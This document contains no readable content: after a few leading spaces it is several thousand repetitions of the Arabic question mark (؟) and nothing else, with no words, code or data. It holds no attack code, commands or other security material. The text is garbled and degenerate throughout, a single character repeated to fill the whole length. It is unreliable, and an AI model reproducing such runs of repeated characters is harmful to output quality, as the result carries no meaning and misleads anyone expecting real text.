    ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟